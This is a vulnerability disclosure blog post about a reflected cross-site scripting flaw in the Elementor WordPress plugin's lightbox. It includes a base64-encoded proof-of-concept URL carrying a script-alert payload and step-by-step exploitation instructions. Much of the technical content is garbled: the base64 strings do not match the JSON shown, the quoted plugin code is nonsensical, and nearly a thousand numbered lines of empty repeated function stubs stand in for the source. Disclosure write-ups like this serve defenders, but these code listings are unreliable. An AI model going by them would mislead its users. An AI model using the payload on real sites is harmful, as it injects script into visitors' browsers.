

Catching a XSS at Elementor

Hunting and exploiting an XSS in Elementor <3.1.4
Joel Belega - March 23th 2021

Introduction

Elementor is a plugin for building websites for wordpress present in more than 5 million sites.

Title: Reflected Cross-Site-Scripting (XSS)

Affected component: lightbox

CVE: CVE-2021-24891

Vulnerable Versions: 1.5.0 > x < 3.1.4

CVSSv3 Value: 4.3

CVSSv3 Vector: [AV:N/AC:L/PR:N/UI:R/SU:C/N/I/L/A/N](#)

WordPress link: [elementor](#)

Site: [elementor.com](#)

TL;DR

An unauthenticated user can inject arbitrary JavaScript code in the URL of a web which is using Elementor.

To exploit this vulnerability, it is needed a web page using Elementor or Elementor Pro running the JavaScript file "frontend.min.js" with a version higher than 1.5 and lower than 3.1.4.

The affected resource is `#elementor-action:action=lightbox&settings=` and the payload will be encoded in base64 as a value for the settings variable. An example of this could be:

```
https://vulnerablesite.com/#elementor-  
action:action=lightbox&settings=eyJ0eXBlljoibnVsbCslm0bWwiOiI8c2NyaXB0PmFzZXJ0KCd4c3MnKTwwc2NyaXB0Pi  
J9
```

The base64 string is an encoded JSON with the following structure:

```
{  
  "type": "null",  
  "html": "<script>alert('xss')</script>"  
}
```

Inside the value "HTML" is where the payload would be stored. After injecting the desired payload, the JSON should be encoded back to base64 and attach it to the aforementioned URL.

Hunting the vuln - Technical details

Everything started with a suspicious URL during the audit of a client's web page. This URL was looking something like:

```
https://vulnerablesite.com/avulnerableresource/#elementor-  
action:action=lightbox&settings=eyJ0eXBlljoimKZW8lClJ1cmwiOiJodHRwc2ovL3d3dy55b3V0dWJlLnVsbV93YXRjaD  
92PWRRdzR3OVdnWGNRin0=
```

The base64 in the variable settings updated me and after decoding it I could see the following JSON:

```
{  
  "type": "video",  
  "url": "https://www.youtube.com/watch?v=dQw4w9WgXcQ"  
}
```

After some tests, I could see that it was possible to change the URL of the video and force the web page to render whichever video I wanted, so I figured out that the content of the variables was not being checked in the server, but in the client-side. With this information I started wondering if it was possible to inject something else apart from videos. So I opened the "Developer Tools", and went to the section "Debugger", where it is possible to search for a string in all the available source files.



Knowing that somewhere in the code the base64 encoded JSON needs to be decoded, I searched for the function used in JavaScript for this purpose: atob (the encoding function is called btoa).

```
atob  
wp-content/plugins/elementor/assets/js/frontend.min.js (1 match)
```

This led me to the following section of code:

```
try {  
  "function",  
  value: function decodeURIComponent() {  
    var i = 0, n = decodeURIComponent().split('').length - 1, k;  
    if (i) {  
      n = decodeURIComponent().split('').length - 1;  
      var l = this.actions[i];  
      if (l) {  
        var o = {};  
        o.kk = 1000; o.kk = l[i];  
        for (var p = arguments.length, q = new Array(p > 1 ? p - 1 : 0), r = 0; r < q.length; r++) o.arguments[r] = arguments[r];  
        o.apply(o, o.kk);  
      }  
    }  
  }  
}
```

At this point, I decided to set a breakpoint in this line and refresh the web page so I could trace the execution of the code and how the JSON was being used. After some time diving into the code and re-refreshing of the site, I finally got to the section of the code which was interesting for me.

```
1000  decodeURIComponent() {  
1001  }  
1002  decodeURIComponent() {  
1003  }  
1004  decodeURIComponent() {  
1005  }  
1006  decodeURIComponent() {  
1007  }  
1008  decodeURIComponent() {  
1009  }  
1010  decodeURIComponent() {  
1011  }  
1012  decodeURIComponent() {  
1013  }  
1014  decodeURIComponent() {  
1015  }  
1016  decodeURIComponent() {  
1017  }  
1018  decodeURIComponent() {  
1019  }  
1020  decodeURIComponent() {  
1021  }  
1022  decodeURIComponent() {  
1023  }  
1024  decodeURIComponent() {  
1025  }  
1026  decodeURIComponent() {  
1027  }  
1028  decodeURIComponent() {  
1029  }  
1030  decodeURIComponent() {  
1031  }  
1032  decodeURIComponent() {  
1033  }  
1034  decodeURIComponent() {  
1035  }  
1036  decodeURIComponent() {  
1037  }  
1038  decodeURIComponent() {  
1039  }  
1040  decodeURIComponent() {  
1041  }  
1042  decodeURIComponent() {  
1043  }  
1044  decodeURIComponent() {  
1045  }  
1046  decodeURIComponent() {  
1047  }  
1048  decodeURIComponent() {  
1049  }  
1050  decodeURIComponent() {  
1051  }  
1052  decodeURIComponent() {  
1053  }  
1054  decodeURIComponent() {  
1055  }  
1056  decodeURIComponent() {  
1057  }  
1058  decodeURIComponent() {  
1059  }  
1060  decodeURIComponent() {  
1061  }  
1062  decodeURIComponent() {  
1063  }  
1064  decodeURIComponent() {  
1065  }  
1066  decodeURIComponent() {  
1067  }  
1068  decodeURIComponent() {  
1069  }  
1070  decodeURIComponent() {  
1071  }  
1072  decodeURIComponent() {  
1073  }  
1074  decodeURIComponent() {  
1075  }  
1076  decodeURIComponent() {  
1077  }  
1078  decodeURIComponent() {  
1079  }  
1080  decodeURIComponent() {  
1081  }  
1082  decodeURIComponent() {  
1083  }  
1084  decodeURIComponent() {  
1085  }  
1086  decodeURIComponent() {  
1087  }  
1088  decodeURIComponent() {  
1089  }  
1090  decodeURIComponent() {  
1091  }  
1092  decodeURIComponent() {  
1093  }  
1094  decodeURIComponent() {  
1095  }  
1096  decodeURIComponent() {  
1097  }  
1098  decodeURIComponent() {  
1099  }  
1100  decodeURIComponent() {  
1101  }  
1102  decodeURIComponent() {  
1103  }  
1104  decodeURIComponent() {  
1105  }  
1106  decodeURIComponent() {  
1107  }  
1108  decodeURIComponent() {  
1109  }  
1110  decodeURIComponent() {  
1111  }  
1112  decodeURIComponent() {  
1113  }  
1114  decodeURIComponent() {  
1115  }  
1116  decodeURIComponent() {  
1117  }  
1118  decodeURIComponent() {  
1119  }  
1120  decodeURIComponent() {  
1121  }  
1122  decodeURIComponent() {  
1123  }  
1124  decodeURIComponent() {  
1125  }  
1126  decodeURIComponent() {  
1127  }  
1128  decodeURIComponent() {  
1129  }  
1130  decodeURIComponent() {  
1131  }  
1132  decodeURIComponent() {  
1133  }  
1134  decodeURIComponent() {  
1135  }  
1136  decodeURIComponent() {  
1137  }  
1138  decodeURIComponent() {  
1139  }  
1140  decodeURIComponent() {  
1141  }  
1142  decodeURIComponent() {  
1143  }  
1144  decodeURIComponent() {  
1145  }  
1146  decodeURIComponent() {  
1147  }  
1148  decodeURIComponent() {  
1149  }  
1150  decodeURIComponent() {  
1151  }  
1152  decodeURIComponent() {  
1153  }  
1154  decodeURIComponent() {  
1155  }  
1156  decodeURIComponent() {  
1157  }  
1158  decodeURIComponent() {  
1159  }  
1160  decodeURIComponent() {  
1161  }  
1162  decodeURIComponent() {  
1163  }  
1164  decodeURIComponent() {  
1165  }  
1166  decodeURIComponent() {  
1167  }  
1168  decodeURIComponent() {  
1169  }  
1170  decodeURIComponent() {  
1171  }  
1172  decodeURIComponent() {  
1173  }  
1174  decodeURIComponent() {  
1175  }  
1176  decodeURIComponent() {  
1177  }  
1178  decodeURIComponent() {  
1179  }  
1180  decodeURIComponent() {  
1181  }  
1182  decodeURIComponent() {  
1183  }  
1184  decodeURIComponent() {  
1185  }  
1186  decodeURIComponent() {  
1187  }  
1188  decodeURIComponent() {  
1189  }  
1190  decodeURIComponent() {  
1191  }  
1192  decodeURIComponent() {  
1193  }  
1194  decodeURIComponent() {  
1195  }  
1196  decodeURIComponent() {  
1197  }  
1198  decodeURIComponent() {  
1199  }  
1200  decodeURIComponent() {  
1201  }  
1202  decodeURIComponent() {  
1203  }  
1204  decodeURIComponent() {  
1205  }  
1206  decodeURIComponent() {  
1207  }  
1208  decodeURIComponent() {  
1209  }  
1210  decodeURIComponent() {  
1211  }  
1212  decodeURIComponent() {  
1213  }  
1214  decodeURIComponent() {  
1215  }  
1216  decodeURIComponent() {  
1217  }  
1218  decodeURIComponent() {  
1219  }  
1220  decodeURIComponent() {  
1221  }  
1222  decodeURIComponent() {  
1223  }  
1224  decodeURIComponent() {  
1225  }  
1226  decodeURIComponent() {  
1227  }  
1228  decodeURIComponent() {  
1229  }  
1230  decodeURIComponent() {  
1231  }  
1232  decodeURIComponent() {  
1233  }  
1234  decodeURIComponent() {  
1235  }  
1236  decodeURIComponent() {  
1237  }  
1238  decodeURIComponent() {  
1239  }  
1240  decodeURIComponent() {  
1241  }  
1242  decodeURIComponent() {  
1243  }  
1244  decodeURIComponent() {  
1245  }  
1246  decodeURIComponent() {  
1247  }  
1248  decodeURIComponent() {  
1249  }  
1250  decodeURIComponent() {  
1251  }  
1252  decodeURIComponent() {  
1253  }  
1254  decodeURIComponent() {  
1255  }  
1256  decodeURIComponent() {  
1257  }  
1258  decodeURIComponent() {  
1259  }  
1260  decodeURIComponent() {  
1261  }  
1262  decodeURIComponent() {  
1263  }  
1264  decodeURIComponent() {  
1265  }  
1266  decodeURIComponent() {  
1267  }  
1268  decodeURIComponent() {  
1269  }  
1270  decodeURIComponent() {  
1271  }  
1272  decodeURIComponent() {  
1273  }  
1274  decodeURIComponent() {  
1275  }  
1276  decodeURIComponent() {  
1277  }  
1278  decodeURIComponent() {  
1279  }  
1280  decodeURIComponent() {  
1281  }  
1282  decodeURIComponent() {  
1283  }  
1284  decodeURIComponent() {  
1285  }  
1286  decodeURIComponent() {  
1287  }  
1288  decodeURIComponent() {  
1289  }  
1290  decodeURIComponent() {  
1291  }  
1292  decodeURIComponent() {  
1293  }  
1294  decodeURIComponent() {  
1295  }  
1296  decodeURIComponent() {  
1297  }  
1298  decodeURIComponent() {  
1299  }  
1300  decodeURIComponent() {  
1301  }  
1302  decodeURIComponent() {  
1303  }  
1304  decodeURIComponent() {  
1305  }  
1306  decodeURIComponent() {  
1307  }  
1308  decodeURIComponent() {  
1309  }  
1310  decodeURIComponent() {  
1311  }  
1312  decodeURIComponent() {  
1313  }  
1314  decodeURIComponent() {  
1315  }  
1316  decodeURIComponent() {  
1317  }  
1318  decodeURIComponent() {  
1319  }  
1320  decodeURIComponent() {  
1321  }  
1322  decodeURIComponent() {  
1323  }  
1324  decodeURIComponent() {  
1325  }  
1326  decodeURIComponent() {  
1327  }  
1328  decodeURIComponent() {  
1329  }  
1330  decodeURIComponent() {  
1331  }  
1332  decodeURIComponent() {  
1333  }  
1334  decodeURIComponent() {  
1335  }  
1336  decodeURIComponent() {  
1337  }  
1338  decodeURIComponent() {  
1339  }  
1340  decodeURIComponent() {  
1341  }  
1342  decodeURIComponent() {  
1343  }  
1344  decodeURIComponent() {  
1345  }  
1346  decodeURIComponent() {  
1347  }  
1348  decodeURIComponent() {  
1349  }  
1350  decodeURIComponent() {  
1351  }  
1352  decodeURIComponent() {  
1353  }  
1354  decodeURIComponent() {  
1355  }  
1356  decodeURIComponent() {  
1357  }  
1358  decodeURIComponent() {  
1359  }  
1360  decodeURIComponent() {  
1361  }  
1362  decodeURIComponent() {  
1363  }  
1364  decodeURIComponent() {  
1365  }  
1366  decodeURIComponent() {  
1367  }  
1368  decodeURIComponent() {  
1369  }  
1370  decodeURIComponent() {  
1371  }  
1372  decodeURIComponent() {  
1373  }  
1374  decodeURIComponent() {  
1375  }  
1376  decodeURIComponent() {  
1377  }  
1378  decodeURIComponent() {  
1379  }  
1380  decodeURIComponent() {  
1381  }  
1382  decodeURIComponent() {  
1383  }  
1384  decodeURIComponent() {  
1385  }  
1386  decodeURIComponent() {  
1387  }  
1388  decodeURIComponent() {  
1389  }  
1390  decodeURIComponent() {  
1391  }  
1392  decodeURIComponent() {  
1393  }  
1394  decodeURIComponent() {  
1395  }  
1396  decodeURIComponent() {  
1397  }  
1398  decodeURIComponent() {  
1399  }  
1400  decodeURIComponent() {  
1401  }  
1402  decodeURIComponent() {  
1403  }  
1404  decodeURIComponent() {  
1405  }  
1406  decodeURIComponent() {  
1407  }  
1408  decodeURIComponent() {  
1409  }  
1410  decodeURIComponent() {  
1411  }  
1412  decodeURIComponent() {  
1413  }  
1414  decodeURIComponent() {  
1415  }  
1416  decodeURIComponent() {  
1417  }  
1418  decodeURIComponent() {  
1419  }  
1420  decodeURIComponent() {  
1421  }  
1422  decodeURIComponent() {  
1423  }  
1424  decodeURIComponent() {  
1425  }  
1426  decodeURIComponent() {  
1427  }  
1428  decodeURIComponent() {  
1429  }  
1430  decodeURIComponent() {  
1431  }  
1432  decodeURIComponent() {  
1433  }  
1434  decodeURIComponent() {  
1435  }  
1436  decodeURIComponent() {  
1437  }  
1438  decodeURIComponent() {  
1439  }  
1440  decodeURIComponent() {  
1441  }  
1442  decodeURIComponent() {  
1443  }  
1444  decodeURIComponent() {  
1445  }  
1446  decodeURIComponent() {  
1447  }  
1448  decodeURIComponent() {  
1449  }  
1450  decodeURIComponent() {  
1451  }  
1452  decodeURIComponent() {  
1453  }  
1454  decodeURIComponent() {  
1455  }  
1456  decodeURIComponent() {  
1457  }  
1458  decodeURIComponent() {  
1459  }  
1460  decodeURIComponent() {  
1461  }  
1462  decodeURIComponent() {  
1463  }  
1464  decodeURIComponent() {  
1465  }  
1466  decodeURIComponent() {  
1467  }  
1468  decodeURIComponent() {  
1469  }  
1470  decodeURIComponent() {  
1471  }  
1472  decodeURIComponent() {  
1473  }  
1474  decodeURIComponent() {  
1475  }  
1476  decodeURIComponent() {  
1477  }  
1478  decodeURIComponent() {  
1479  }  
1480  decodeURIComponent() {  
1481  }  
1482  decodeURIComponent() {  
1483  }  
1484  decodeURIComponent() {  
1485  }  
1486  decodeURIComponent() {  
1487  }  
1488  decodeURIComponent() {  
1489  }  
1490  decodeURIComponent() {  
1491  }  
1492  decodeURIComponent() {  
1493  }  
1494  decodeURIComponent() {  
1495  }  
1496  decodeURIComponent() {  
1497  }  
1498  decodeURIComponent() {  
1499  }  
1500  decodeURIComponent() {  
1501  }  
1502  decodeURIComponent() {  
1503  }  
1504  decodeURIComponent() {  
1505  }  
1506  decodeURIComponent() {  
1507  }  
1508  decodeURIComponent() {  
1509  }  
1510  decodeURIComponent() {  
1511  }  
1512  decodeURIComponent() {  
1513  }  
1514  decodeURIComponent() {  
1515  }  
1516  decodeURIComponent() {  
1517  }  
1518  decodeURIComponent() {  
1519  }  
1520  decodeURIComponent() {  
1521  }  
1522  decodeURIComponent() {  
1523  }  
1524  decodeURIComponent() {  
1525  }  
1526  decodeURIComponent() {  
1527  }  
1528  decodeURIComponent() {  
1529  }  
1530  decodeURIComponent() {  
1531  }  
1532  decodeURIComponent() {  
1533  }  
1534  decodeURIComponent() {  
1535  }  
1536  decodeURIComponent() {  
1537  }  
1538  decodeURIComponent() {  
1539  }  
1540  decodeURIComponent() {  
1541  }  
1542  decodeURIComponent() {  
1543  }  
1544  decodeURIComponent() {  
1545  }  
1546  decodeURIComponent() {  
1547  }  
1548  decodeURIComponent() {  
1549  }  
1550  decodeURIComponent() {  
1551  }  
1552  decodeURIComponent() {  
1553  }  
1554  decodeURIComponent() {  
1555  }  
1556  decodeURIComponent() {  
1557  }  
1558  decodeURIComponent() {  
1559  }  
1560  decodeURIComponent() {  
1561  }  
1562  decodeURIComponent() {  
1563  }  
1564  decodeURIComponent() {  
1565  }  
1566  decodeURIComponent() {  
1567  }  
1568  decodeURIComponent() {  
1569  }  
1570  decodeURIComponent() {  
1571  }  
1572  decodeURIComponent() {  
1573  }  
1574  decodeURIComponent() {  
1575  }  
1576  decodeURIComponent() {  
1577  }  
1578  decodeURIComponent() {  
1579  }  
1580  decodeURIComponent() {  
1581  }  
1582  decodeURIComponent() {  
1583  }  
1584  decodeURIComponent() {  
1585  }  
1586  decodeURIComponent() {  
1587  }  
1588  decodeURIComponent() {  
1589  }  
1590  decodeURIComponent() {  
1591  }  
1592  decodeURIComponent() {  
1593  }  
1594  decodeURIComponent() {  
1595  }  
1596  decodeURIComponent() {  
1597  }  
1598  decodeURIComponent() {  
1599  }  
1600  decodeURIComponent() {  
1601  }  
1602  decodeURIComponent() {  
1603  }  
1604  decodeURIComponent() {  
1605  }  
1606  decodeURIComponent() {  
1607  }  
1608  decodeURIComponent() {  
1609  }  
1610  decodeURIComponent() {  
1611  }  
1612  decodeURIComponent() {  
1613  }  
1614  decodeURIComponent() {  
1615  }  
1616  decodeURIComponent() {  
1617  }  
1618  decodeURIComponent() {  
1619  }  
1620  decodeURIComponent() {  
1621  }  
1622  decodeURIComponent() {  
1623  }  
1624  decodeURIComponent() {  
1625  }  
1626  decodeURIComponent() {  
1627  }  
1628  decodeURIComponent() {  
1629  }  
1630  decodeURIComponent() {  
1631  }  
1632  decodeURIComponent() {  
1633  }  
1634  decodeURIComponent() {  
1635  }  
1636  decodeURIComponent() {  
1637  }  
1638  decodeURIComponent() {  
1639  }  
1640  decodeURIComponent() {  
1641  }  
1642  decodeURIComponent() {  
1643  }  
1644  decodeURIComponent() {  
1645  }  
1646  decodeURIComponent() {  
1647  }  
1648  decodeURIComponent() {  
1649  }  
1650  decodeURIComponent() {  
1651  }  
1652  decodeURIComponent() {  
1653  }  
1654  decodeURIComponent() {  
1655  }  
1656  decodeURIComponent() {  
1657  }  
1658  decodeURIComponent() {  
1659  }  
1660  decodeURIComponent() {  
1661  }  
1662  decodeURIComponent() {  
1663  }  
1664  decodeURIComponent() {  
1665  }  
1666  decodeURIComponent() {  
1667  }  
1668  decodeURIComponent() {  
1669  }  
1670  decodeURIComponent() {  
1671  }  
1672  decodeURIComponent() {  
1673  }  
1674  decodeURIComponent() {  
1675  }  
1676  decodeURIComponent() {  
1677  }  
1678  decodeURIComponent() {  
1679  }  
1680  decodeURIComponent() {  
1681  }  
1682  decodeURIComponent() {  
1683  }  
1684  decodeURIComponent() {  
1685  }  
1686  decodeURIComponent() {  
1687  }  
1688  decodeURIComponent() {  
1689  }  
1690  decodeURIComponent() {  
1691  }  
1692  decodeURIComponent() {  
1693  }  
1694  decodeURIComponent() {  
1695  }  
1696  decodeURIComponent() {  
1697  }  
1698  decodeURIComponent() {  
1699  }  
1700  decodeURIComponent() {  
1701  }  
1702  decodeURIComponent() {  
1703  }  
1704  decodeURIComponent() {  
1705  }  
1706  decodeURIComponent() {  
1707  }  
1708  decodeURIComponent() {  
1709  }  
1710  decodeURIComponent() {  
1711  }  
1712  decodeURIComponent() {  
1713  }  
1714  decodeURIComponent() {  
1715  }  
1716  decodeURIComponent() {  
1717  }  
1718  decodeURIComponent() {  
1719  }  
1720  decodeURIComponent() {  
1721  }  
1722  decodeURIComponent() {  
1723  }  
1724  decodeURIComponent() {  
1725  }  
1726  decodeURIComponent() {  
1727  }  
1728  decodeURIComponent() {  
1729  }  
1730  decodeURIComponent() {  
1731  }  
1732  decodeURIComponent() {  
1733  }  
1734  decodeURIComponent() {  
1735  }  
1736  decodeURIComponent() {  
1737  }  
1738  decodeURIComponent() {  
1739  }  
1740  decodeURIComponent() {  
1741  }  
1742  decodeURIComponent() {  
1743  }  
1744  decodeURIComponent() {  
1745  }  
1746  decodeURIComponent() {  
1747  }  
1748  decodeURIComponent() {  
1749  }  
1750  decodeURIComponent() {  
1751  }  
1752  decodeURIComponent() {  
1753  }  
1754  decodeURIComponent() {  
1755  }  
1756  decodeURIComponent() {  
1757  }  
1758  decodeURIComponent() {  
1759  }  
1760  decodeURIComponent() {  
1761  }  
1762  decodeURIComponent() {  
1763  }  
1764  decodeURIComponent() {  
1765  }  
1766  decodeURIComponent() {  
1767  }  
1768  decodeURIComponent() {  
1769  }  
1770  decodeURIComponent() {  
1771  }  
1772  decodeURIComponent() {  
1773  }  
1774  decodeURIComponent() {  
1775  }  
1776  decodeURIComponent() {  
1777  }  
1778  decodeURIComponent() {  
1779  }  
1780  decodeURIComponent() {  
1781  }  
1782  decodeURIComponent() {  
1783  }  
1784  decodeURIComponent() {  
1785  }  
1786  decodeURIComponent() {  
1787  }  
1788  decodeURIComponent() {  
1789  }  
1790  decodeURIComponent() {  
1791  }  
1792  decodeURIComponent() {  
1793  }  
1794  decodeURIComponent() {  
1795  }  
1796  decodeURIComponent() {  
1797  }  
1798  decodeURIComponent() {  
1799  }  
1800  decodeURIComponent() {  
1801  }  
1802  decodeURIComponent() {  
1803  }  
1804  decodeURIComponent() {  
1805  }  
1806  decodeURIComponent() {  
1807  }  
1808  decodeURIComponent() {  
1809  }  
1810  decodeURIComponent() {  
1811  }  
1812  decodeURIComponent() {  
1813  }  
1814  decodeURIComponent() {  
1815  }  
1816  decodeURIComponent() {  
1817  }  
1818  decodeURIComponent() {  
1819  }  
1820  decodeURIComponent() {  
1821  }  
1822  decodeURIComponent() {  
1823  }  
1824  decodeURIComponent() {  
1825  }  
1826  decodeURIComponent() {  
1827  }  
1828  decodeURIComponent() {  
1829  }  
1830  decodeURIComponent() {  
1831  }  
1832  decodeURIComponent() {  
1833  }  
1834  decodeURIComponent() {  
1835  }  
1836  decodeURIComponent() {  
1837  }  
1838  decodeURIComponent() {  
1839  }  
1840  decodeURIComponent() {  
1841  }  
1842  decodeURIComponent() {  
1843  }  
1844  decodeURIComponent() {  
1845  }  
1846  decodeURIComponent() {  
1847  }  
1848  decodeURIComponent() {  
1849  }  
1850  decodeURIComponent() {  
1851  }  
1852  decodeURIComponent() {  
1853  }  
1854  decodeURIComponent() {  
1855  }  
1856  decodeURIComponent() {  
1857  }  
1858  decodeURIComponent() {  
1859  }  
1860  decodeURIComponent() {  
1861  }  
1862  decodeURIComponent() {  
1863  }  
1864  decodeURIComponent() {  
1865  }  
1866  decodeURIComponent() {  
1867  }  
1868  decodeURIComponent() {  
1869  }  
1870  decodeURIComponent() {  
1871  }  
1872  decodeURIComponent() {  
1873  }  
1874  decodeURIComponent() {  
1875  }  
1876  decodeURIComponent() {  
1877  }  
1878  decodeURIComponent() {  
1879  }  
1880  decodeURIComponent() {  
1881  }  
1882  decodeURIComponent() {  
1883  }  
1884  decodeURIComponent() {  
1885  }  
1886  decodeURIComponent() {  
1887  }  
1888  decodeURIComponent() {  
1889  }  
1890  decodeURIComponent() {  
1891  }  
1892  decodeURIComponent() {  
1893  }  
1894  decodeURIComponent() {  
1895  }  
1896  decodeURIComponent() {  
1897  }  
1898  decodeURIComponent() {  
1899  }  
1900  decodeURIComponent() {  
1901  }  
1902  decodeURIComponent() {  
1903  }  
1904  decodeURIComponent() {  
1905  }  
1906  decodeURIComponent() {  
1907  }  
1908  decodeURIComponent() {  
1909  }  
1910  decodeURIComponent() {  
1911  }  
1912  decodeURIComponent() {  
1913  }  
1914  decodeURIComponent() {  
1915  }  
1916  decodeURIComponent() {  
1917  }  
1918  decodeURIComponent() {  
1919  }  
1920  decodeURIComponent() {  
1921  }  
1922  decodeURIComponent() {  
1923  }  
1924  decodeURIComponent() {  
1925  }  
1926  decodeURIComponent() {  
1927  }  
1928  decodeURIComponent() {  
1929  }  
1930  decodeURIComponent() {  
1931  }  
1932  decodeURIComponent() {  
1933  }  
1934  decodeURIComponent() {  
1935  }  
1936  decodeURIComponent() {  
1937  }  
1938  decodeURIComponent() {  
1939  }  
1940  decodeURIComponent() {  
1941  }  
1942  decodeURIComponent() {  
1943  }  
1944  decodeURIComponent() {  
1945  }  
1946  decodeURIComponent() {  
1947  }  
1948  decodeURIComponent() {  
1949  }  
1950  decodeURIComponent() {  
1951  }  
1952  decodeURIComponent() {  
1953  }  
1954  decodeURIComponent() {  
1955  }  
1956  decodeURIComponent() {  
1957  }  
1958  decodeURIComponent() {  
1959  }  
1960  decodeURIComponent() {  
1961  }  
1962
```

What this switch is doing is filtering the received arguments set in the JSON and executing a different code depending on the value of "type". In pseudocode it would look something like this:

```
json_decoded = decodeBase64(settings);
type = json_decoded["type"];
switch(type){
  case type == 'video':
    modal.showVideo();
    stop;
  case type == 'image':
    modal.setImage();
    continue to the following case;
  case type == 'slideshow':
    modal.showImages();
    stop;
  case type != 'video' & type != 'image' & type != 'slideshow':
    modal.setHTMLContent(json_decoded["html"]);
}
```

From this section, we can see that if the "type" value defined in the JSON is not: video, image or slideshow; then, the HTML of the modal to be shown will be set with the value of the element defined in the JSON with the key "html". Thus, to exploit this vulnerability, the steps are the following:

1. Set a value for "type" different than image, video or slideshow
2. Create a key called "html" containing the payload to be injected
3. Encode the JSON in base64
4. Add it to the link
5. Ready to exploit

Remediation

This vulnerability has been fixed in the version 3.1.4. If you are using elementor to build your site, I would recommend you to upgrade to the last version, more vulnerabilities have been identified for the version 3.1.3 ([auth stored xss](#))

To fix the vulnerability, the developer team have removed the "default case" in the switch ([line 165](#)).

Timeline

- February 25th, 2021: Discovery of the vulnerability and report to Elementor Security Team
- March 4th, 2021: Report to Wordpress Security Team
- March 5th, 2021: Response from Wordpress and Elementor Security Team
- March 10th, 2021: Vulnerability fixed in version 3.1.4

External references

- CVE Mitre: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24891>
- WPScan: <https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d>
- Rotem Bar: <https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor>

Follow Me

Let us be social

